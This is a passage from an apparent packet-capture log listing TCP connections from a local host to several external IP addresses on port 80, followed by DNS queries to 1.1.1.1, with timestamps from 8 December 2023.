Dec 8, 2023 14:53:09.384437084 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.384476900 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.384531975 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.384628057 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.384670973 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.384680986 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.384814024 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.384852886 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.384957075 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.385045052 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.385078907 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.385128021 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.385229111 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.385267019 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.385345936 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.385411024 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.385458946 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.385500908 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.385602951 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.385637045 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.388151884 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.623620033 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.623645067 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.623707056 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.623754978 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.623769045 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.623804092 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.623811960 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.623863935 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.623898029 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.623933077 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.623969078 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624001026 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624037027 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624068022 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624100924 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624145031 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624186039 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624216080 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624248028 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624265909 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624295950 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624326944 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624360085 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624366045 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624397993 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624427080 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624461889 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624481916 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624516964 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624546051 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624578953 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624641895 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624679089 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624707937 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624742031 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624771118 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624806881 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624835968 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624872923 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624902010 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.624936104 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.624983072 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625016928 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625055075 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625088930 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625106096 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625139952 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625200033 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625236034 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625292063 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625360012 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625370979 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625403881 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625432014 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625466108 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625503063 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625535011 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625535965 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625597000 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625618935 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625633955 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625659943 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625694036 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625724077 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625756025 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625757933 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625797987 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625848055 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625884056 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625926971 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.625960112 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.625979900 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.626013994 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.626035929 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.626070976 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.626086950 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.626120090 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.626136065 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.626173019 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:09.626226902 CET	80	49783	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:09.626261950 CET	49783	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:10.404602051 CET	49784	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:10.644002914 CET	80	49784	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:10.644129992 CET	49784	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:10.644355059 CET	49784	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:10.882977962 CET	80	49784	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:11.383486032 CET	80	49784	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:11.383511066 CET	80	49784	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:11.383719921 CET	49784	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:11.384020090 CET	49784	80	192.168.2.4	185.74.252.11
Dec 8, 2023 14:53:11.624509096 CET	80	49784	185.74.252.11	192.168.2.4
Dec 8, 2023 14:53:18.189718962 CET	49785	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:18.315365076 CET	80	49785	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:18.315545082 CET	49785	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:18.315771103 CET	49785	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:18.441553116 CET	80	49785	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:18.642144918 CET	80	49785	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:18.642203093 CET	80	49785	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:18.642337084 CET	49785	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:19.826370001 CET	49785	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:20.841763973 CET	49786	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:20.966993093 CET	80	49786	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:20.967094898 CET	49786	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:20.967322111 CET	49786	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:21.093918085 CET	80	49786	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:21.291337967 CET	80	49786	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:21.294703007 CET	80	49786	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:21.294732094 CET	80	49786	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:21.294888020 CET	49786	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:22.481982946 CET	49786	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:23.498985052 CET	49787	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:23.624866009 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.625058889 CET	49787	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:23.626859903 CET	49787	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:23.752962112 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.752986908 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.752998114 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.753009081 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.753066063 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.753087997 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.753192902 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.753204107 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.753226995 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.953020096 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.953039885 CET	80	49787	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:23.953108072 CET	49787	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:25.138149977 CET	49787	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:26.154042006 CET	49788	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:26.279249907 CET	80	49788	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:26.279342890 CET	49788	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:26.280189991 CET	49788	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:26.405200005 CET	80	49788	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:26.606383085 CET	80	49788	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:26.606403112 CET	80	49788	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:26.606487036 CET	80	49788	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:26.606501102 CET	80	49788	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:26.606513977 CET	80	49788	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:26.606528044 CET	80	49788	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:26.606741905 CET	49788	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:26.606955051 CET	49788	80	192.168.2.4	107.178.250.177
Dec 8, 2023 14:53:26.732121944 CET	80	49788	107.178.250.177	192.168.2.4
Dec 8, 2023 14:53:32.081887007 CET	49789	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:32.316426039 CET	80	49789	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:32.316590071 CET	49789	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:32.316797972 CET	49789	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:32.552953959 CET	80	49789	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:32.553061008 CET	49789	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:33.825727940 CET	49789	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:34.841806889 CET	49790	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:35.076452971 CET	80	49790	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:35.076554060 CET	49790	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:35.076858044 CET	49790	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:35.313324928 CET	80	49790	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:35.313414097 CET	49790	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:36.594357014 CET	49790	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:37.607178926 CET	49791	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:37.846836090 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:37.847064018 CET	49791	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:37.848824024 CET	49791	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:38.088474989 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:38.088500977 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:38.088511944 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:38.088526011 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:38.088537931 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:38.088548899 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:38.088624954 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:38.088664055 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:38.088669062 CET	49791	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:38.088741064 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:38.328205109 CET	80	49791	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.372870922 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:40.611691952 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.611780882 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:40.611998081 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:40.852206945 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852233887 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852252960 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852272034 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852313042 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852364063 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852443933 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852505922 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:40.852505922 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:40.852509022 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852539062 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852555990 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:40.852638960 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:40.852688074 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.091236115 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091258049 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091272116 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091291904 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091311932 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091324091 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.091331959 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091351032 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091370106 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091388941 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091391087 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.091408014 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091420889 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.091428995 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091448069 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091464996 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091473103 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.091484070 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091502905 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091520071 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.091522932 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091540098 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.091542006 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091561079 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091576099 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.091612101 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.091634035 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091650009 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.091700077 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.330385923 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.330416918 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.330440998 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.330570936 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.330627918 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.330723047 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.330837965 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.330918074 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.330957890 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.330992937 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331064939 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.331125975 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331196070 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331258059 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.331290960 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331326008 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331394911 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331403971 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.331461906 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331526995 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.331538916 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331654072 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331723928 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.331763983 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331847906 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.331912041 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.331923008 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.332000971 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.332017899 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:41.332206011 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.332706928 CET	49792	80	192.168.2.4	37.97.254.27
Dec 8, 2023 14:53:41.571451902 CET	80	49792	37.97.254.27	192.168.2.4
Dec 8, 2023 14:53:47.090408087 CET	49793	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:47.452197075 CET	80	49793	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:47.452327967 CET	49793	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:47.452611923 CET	49793	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:47.813079119 CET	80	49793	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:47.872071981 CET	80	49793	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:47.872112989 CET	80	49793	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:47.872175932 CET	49793	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:48.966269016 CET	49793	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:49.983134985 CET	49794	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:50.336334944 CET	80	49794	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:50.336447001 CET	49794	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:50.336647034 CET	49794	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:50.688925028 CET	80	49794	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:50.694278002 CET	80	49794	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:50.694299936 CET	80	49794	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:50.694417000 CET	49794	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:52.063811064 CET	49794	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:53.075890064 CET	49795	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:53.436857939 CET	80	49795	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:53.436959028 CET	49795	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:53.437545061 CET	49795	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:53.798527956 CET	80	49795	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:53.798557043 CET	80	49795	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:53.798568964 CET	80	49795	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:53.798578978 CET	80	49795	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:53.798593044 CET	80	49795	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:53.798675060 CET	80	49795	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:53.798882961 CET	80	49795	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:53.799247980 CET	80	49795	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:53.799305916 CET	49795	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:54.950548887 CET	49795	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:55.966648102 CET	49796	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:56.981883049 CET	49796	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:57.335335016 CET	80	49796	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:57.335414886 CET	49796	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:57.335622072 CET	49796	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:57.687861919 CET	80	49796	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:57.689404964 CET	80	49796	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:57.689436913 CET	80	49796	52.220.48.161	192.168.2.4
Dec 8, 2023 14:53:57.689681053 CET	49796	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:57.690093994 CET	49796	80	192.168.2.4	52.220.48.161
Dec 8, 2023 14:53:58.042496920 CET	80	49796	52.220.48.161	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 8, 2023 14:50:18.623605013 CET	59402	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:50:18.930447102 CET	53	59402	1.1.1.1	192.168.2.4
Dec 8, 2023 14:50:34.471115112 CET	62958	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:50:34.662729979 CET	53	62958	1.1.1.1	192.168.2.4
Dec 8, 2023 14:50:48.077996969 CET	63343	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:50:48.312882900 CET	53	63343	1.1.1.1	192.168.2.4
Dec 8, 2023 14:51:01.703404903 CET	54961	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:51:02.287717104 CET	53	54961	1.1.1.1	192.168.2.4
Dec 8, 2023 14:51:17.687038898 CET	53528	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:51:18.140363932 CET	53	53528	1.1.1.1	192.168.2.4
Dec 8, 2023 14:51:32.436403036 CET	51250	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:51:32.805896044 CET	53	51250	1.1.1.1	192.168.2.4
Dec 8, 2023 14:51:47.453363895 CET	59770	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:51:47.707806110 CET	53	59770	1.1.1.1	192.168.2.4
Dec 8, 2023 14:52:02.311144114 CET	57530	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:52:03.311804056 CET	57530	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:52:03.533700943 CET	53	57530	1.1.1.1	192.168.2.4
Dec 8, 2023 14:52:03.533730030 CET	53	57530	1.1.1.1	192.168.2.4
Dec 8, 2023 14:52:16.967672110 CET	62927	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:52:17.352397919 CET	53	62927	1.1.1.1	192.168.2.4
Dec 8, 2023 14:52:31.217304945 CET	55595	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:52:31.938296080 CET	53	55595	1.1.1.1	192.168.2.4
Dec 8, 2023 14:52:45.904962063 CET	63136	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:52:46.217083931 CET	53	63136	1.1.1.1	192.168.2.4
Dec 8, 2023 14:53:00.560827971 CET	54557	53	192.168.2.4	1.1.1.1
Dec 8, 2023 14:53:01.268340111 CET	53	54557	1.1.1.1	192.168.2.4
Dec 8, 2023 14:53:16.389132023 CET	50201	53	192.168.2.4	1.1.1.1
